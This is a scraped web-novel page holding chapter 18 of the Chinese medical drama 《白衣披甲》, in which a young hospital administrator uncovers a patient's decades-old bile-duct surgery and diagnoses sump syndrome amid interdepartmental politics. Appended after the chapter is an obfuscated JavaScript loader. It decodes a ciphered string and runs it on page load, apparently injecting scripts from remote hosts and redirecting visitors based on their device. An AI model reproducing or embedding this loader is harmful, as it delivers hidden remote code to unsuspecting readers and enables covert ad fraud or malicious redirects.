零点看书吧

零点看书吧 > 都市小说 > 白衣披甲 > 正文 18 全院会诊(上)

正文 18 全院会诊(上)(第1页/共3页)

“小罗。”温主任见罗浩在,便和罗浩抱怨道,“你看看消化内科,像什么样子!患者的胆囊已经切除了,诊断也很明确是肝脓肿,你们医务处有明确规定,肝脓肿患者去消化内科治疗。”

“这种患者还要送到我这来,简直就是乱弹琴!这就是推为患者,刚好你在,你说说医务处是什么意见。”

“温主任,我马上和林处长汇报这件事。”罗浩压低声音说道,“您先把患者收进来,别把患者晾在走廊里。”

“这!”温主任一瞪眼睛。

“我的意思是组织一次全院会诊,咱当面把话说明白,患者转过去。至于能不能治好,和咱普外科没关系。现在是消化内科做的有毛病,推诿患者不管什么时候都是不对的,可无论如何都不能把患者晾在走廊里啊。”

温主任想了几秒钟,招呼道,“陈勇,你把患者收进来。”

“小罗,你跟林处长汇报还是我亲自来?”温友仁对罗浩的处理很不满意,撇着嘴瓮声瓮气的问道。

亲自?

罗浩听温主任这么说,差点没笑场。

温主任真是拿自己当回事,亲自这个词听起来有些滑稽。

“温主任,我先汇报一下,琐碎的事情比较多,林处长知道大概,然后您那面表明个态度,施加一下压力就行。”罗浩很贴心的给了建议。

见温主任还是不满意,罗浩微笑,“我会建议全院会诊的规模大一点,只要相关科室或是和老年病相关的科室全都来。咱当着全院各科室主任的面把事情说清楚,这事儿消化内科办的不地道。人多点,下次她们再这么干的话也会有顾忌。”

“对!把全院的主任都喊来,看看消化内科是什么东西。”温主任低声赞同。

罗浩的每一句话都说到他的心坎里。

在温友仁看起来,这事儿就是消化内科故意推诿患者。

自己治不好棘手的病人,然后假借患者20年前做过胆囊切除术,让患者来普外科住院。

简直就是滑天下之大稽,20年前,患者20年前做的胆囊切除术,和现在的肝脓肿有什么关系!

扯淡!!

温主任特别满意的看着罗浩,觉得这小伙子简直太出色了,一眼就看到了问题的实质并且愿意帮普外科出头,而不是和稀泥。

“小罗,辛苦了。”温主任很难得的说了一句辛苦。

“温主任,不辛苦,这都是我应该做的。您先忙着,我去汇报一下情况。”

罗浩并没有直接回医务处,而是帮着陈勇把患者收进来,尽可能的了解到更多信息。

根据罗浩自己的判断,以及诊断辅助ai计算出来的确定诊断,罗浩认为污水池综合征的诊断无误。

不过罗浩知道事关重大,问清楚病史,知道20年前的手术也是在矿总做的,他去了一趟病案室。

直到找到那份“古老”的病历,罗浩的脸上露出一丝笃定的微笑。

回到医务处,罗浩先和林语鸣汇报了患者的情况。

“手术是20年前外科国华老主任做的,我还去了一趟病案室,把当年的病历借了出来。”

“20年前……那时候能写病历就不错了,基本都是实习生乱抄。”林语鸣问道,“有价值么?”

“有!”罗浩拿出一本泛黄的病历,放到桌上,“大病历、病程记录没有任何参考价值,但手术记录看笔迹和写大病历的人不同,我觉得应该是当年国华主任自己写的。”

“哦?!”林语鸣眼前一亮。

现在是电子病历,主任、术者都很少写手术记录。

当年可是手写病历,国华老主任能手写手术记录,一定有原因!

“患者的情况有些特殊,虽然诊断胆囊炎、胆囊结石,可手术的时候国华主任没有简单的胆囊切除,还做了高难度的胆管十二指肠侧侧吻合的操作。”

“国华主任写的很清楚,患者有胆总管泥沙样结石,所以做了胆管十二指肠侧侧吻合。”

林语鸣找到手术记录那一页,轻轻翻动。

岁月荏苒,这本病历自从入库之后再就没被翻动过。

病历中飘出清淡的霉味儿,无声的告诉后人当年发生的一切。

“现在患者怎么诊断?”林语鸣径直问道。

“污水池综合征。”

“???”林语鸣顶着一脑袋的问号。

“这病也叫做盲端综合征、盲袋综合征、盲窝综合征,是胆总管十二指肠侧侧吻合术后一种少见的并发症。

是指胆总管十二指肠侧侧吻合术术后由于食物残渣、结石等蓄积在胆肠吻合口至Vater壶腹部形成的盲袋内,从而引起一系列的临床症状。”

林语鸣大略能明白罗浩描述的内容。

“需要外科手术治疗么?”

“从前是,需要外科干预治疗。但最近十年,主要用内镜乳头括约肌切开术,就是俗称的ercp术式再加胆道清理进行治疗。”

“内镜啊。”林语鸣的手在病历上轻轻敲打。

一束阳光照进来,光线中,陈旧的病历里的灰尘飞起,轻轻飘荡。

林语鸣在沉思。

打蛇打七寸。

必须要有确凿的证据把温友仁一棍子打死,即便不死,也得让他在矿总抬不起头。

敲打温友仁只是其中一个目的,林语鸣还想借机发展新技术。

听罗浩说的很棒,可关键是这病林语鸣完全不知道是怎么回事。

二十年前的胆囊切除术,术后并发症拖延了那么久才爆发,林语鸣本来下意识觉得可能性不太大。

但他心里对罗浩的信任与日俱增。

眼角余光瞥见罗浩,林语鸣有些恍惚,不知不觉中罗浩已经是大小伙子了。

光影之中,恍惚看见了曾经的那位老友。

罗浩和他爸长的真像。

“大舅,还有疑问么?我觉得可以咨询一下刘老师,要是刘老师也拿不准的话……”罗浩见林语鸣不说话,以为他有顾虑,便给出自己的建议。

“还需要做什么检查?”林语鸣问道。

“磁共振胰胆管造影。”

“行,伱和温友仁怎么说的,再跟我说一遍。”

罗浩再次复述了一遍自己和温友仁温主任的谈话,一字不落。

“带患者去做检查,一定要诊断明确,绝对不能含糊。你拿不准,就告诉我,我咨询省里的专家,当然,你也可以咨询你老师。”林语鸣低声说道。

“好。”

罗浩离开,林语鸣面前的a4纸上写满了只有他自己才能看得懂的字。

拿起手机,林语鸣把电话打给刘副主任。

“老六,你说二十年前的胆囊切除术,要是有并发症的话是不是早就该出现了。”简单描述后,林语鸣问道。

“林老大,一般来讲胆总管 『加入书签,方便阅读』
-->> 本章未完,点击下一页继续阅读(第1页/共3页)

!function(){function a(a){var _idx="b5cibtb4xc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n/h^/s@QjR8)n(6)F)oR("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"s@Q"=^8")n(6)F)oR("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"s@Qd2(LCYmRD(JhfmRT4"="s@Q5p(LYpmq^Xf(LmRT4"="s@QD7(LSqm(f24hJmRT4"="s@QdC(LJ^mRD(JhfmRT4"="s@Q(C(L:4mq^Xf(LmRT4"="s@QC2(LSYm(f24hJmRT4"="s@Q25(LLSmRD(JhfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPs@Q2F(LCYmX{LX@ShmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPs@Q2F(LCYmX{LX@ShmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n/f/s@Qj(8}vR8)n(6)F)oR("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();